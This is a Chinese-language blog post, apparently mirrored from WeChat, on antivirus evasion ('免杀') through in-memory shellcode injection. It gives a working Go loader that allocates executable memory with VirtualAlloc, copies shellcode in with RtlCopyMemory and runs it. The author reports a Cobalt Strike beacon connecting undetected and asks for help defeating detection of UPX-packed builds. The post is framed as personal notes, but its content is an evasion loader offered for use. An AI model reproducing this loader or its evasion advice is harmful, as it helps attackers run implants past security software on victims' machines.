Skip to content

Latest commit

 

History

History
179 lines (79 loc) · 5.07 KB

[Snaker独行者]-2021-8-25-我的免杀之路:内存隐藏.md

File metadata and controls

179 lines (79 loc) · 5.07 KB

我的免杀之路:内存隐藏

原创 Snaker Snaker独行者

Snaker独行者

微信号 gh_e5407d383892

功能介绍 记录本人网络安全知识/经验/笔记,致敬未来的我。


__

收录于话题

【简述】

**
**

内存隐藏技术的核心在于将自己的shellcode注入到内存当中并隐藏起来,那么可以围绕Windows API中的RTLCopyMemory函数开展,RTLCopyMemory函数是Windows内核函数,能够实现内存块的复制。而同样能够实现内存块复制的,还有一个RTLMoveMemory函数,然而RTLCopyMemory和RTLMoveMemory的区别在于是非重叠内存区域的复制,RTLCopyMemory非重叠复制,而RTLMoveMemory是重叠复制。这很好理解,看图:

如果需要将A到C段的内存复制到B到D段内存上,这B到C段的内存就是重叠部分。如果使用RTLCopyMemory函数,重叠的部分不会被覆盖;如果使用RTLMoveMemory函数,重叠的部分也会被覆盖,当然,两者的结果都是一样的。经过测试,也证实了自己的想法,无论是用RTLCopyMemory还是RTLMoveMemory函数,都可以达到免杀的目的。

【实现思路】

**
**

直接上核心代码部分,难度不大


 func ShellCode_RTLCopyMemory(shellcode string) error {    bad_Shellcode := []byte(shellcode)    addr, _, err := VirtualAlloc.Call(0, uintptr(len(bad_Shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)    if addr == 0 {      return err    }    ds, _ := hex.DecodeString(shellcode)    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ds[0])), uintptr(len(shellcode)))    if err != nil {       if err.Error() != "The operation completed successfully." {          return err       }    }    _, _, err = syscall.Syscall(addr, 0, 0, 0, 0)    if err != nil {       if err.Error() != "The operation completed successfully." {          return err       }    }    return nil}

着重说一下关于RTLCopyMemory函数,它有三个参数

参数

|

意义

---|---

Destination

|

数据类型:void*。指向要将字节复制到的目标内存块的指针。

Source

|

数据类型:const void*。指向要从中复制字节的源内存块的指针。

Length

|

数据类型:size_t。要从源复制到目标的字节数。

复制需要源内存块的指针和目标内存块的指针,因为内存块的复制会导致地址偏移,所以这里必须要unsafe.Pointer和uintptr配合来实现,然而目标地址怎么设置呢?这就需要用到VirtualAlloc函数进行虚拟内存分配,我们需要的虚拟内存大小就是shellcode的长度,所以这里的目标地址就是我们申请的虚拟内存地址。源内存块地址就是shellcode转化成字节后,即ds[],第0位的指针位置,即&ds[0](备注:golang中的&和*符号都是指针符号,&符号的意思是对变量取地址,*符号的意思是对指针取值。)
其实这就是 内存注入技术 ,通过VirtualAlloc申请一块内存空间,VirtualAlloc如果调用成功,则返回分配的首地址。接着将Shellcode复制到VirtualAlloc申请的内存中,进行调用。这种方法的优势就是被发现的概率很低,甚至可以被忽略,注入后将注入工具删除即可。但是这种技术也存在一个弊端,因为内存是易失性存储器,所以系统必须一直开机,不能关闭。

最后的CS上线免杀效果:

(这里本人有个问题不知道该如何解决,没经过upx压缩的并不会报毒,能成功bypass,而经过upx压缩的会被查杀出来,我已经修改过upx的静态特征,但是依旧被查杀出来,望师傅们指点指点)

预览时标签不可点

收录于话题 #

个 __

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

我的免杀之路:内存隐藏

最多200字,当前共字

__

发送中

写下你的留言

微信扫一扫
关注该公众号

微信扫一扫
使用小程序


取消 允许


取消 允许

知道了

长按识别前往小程序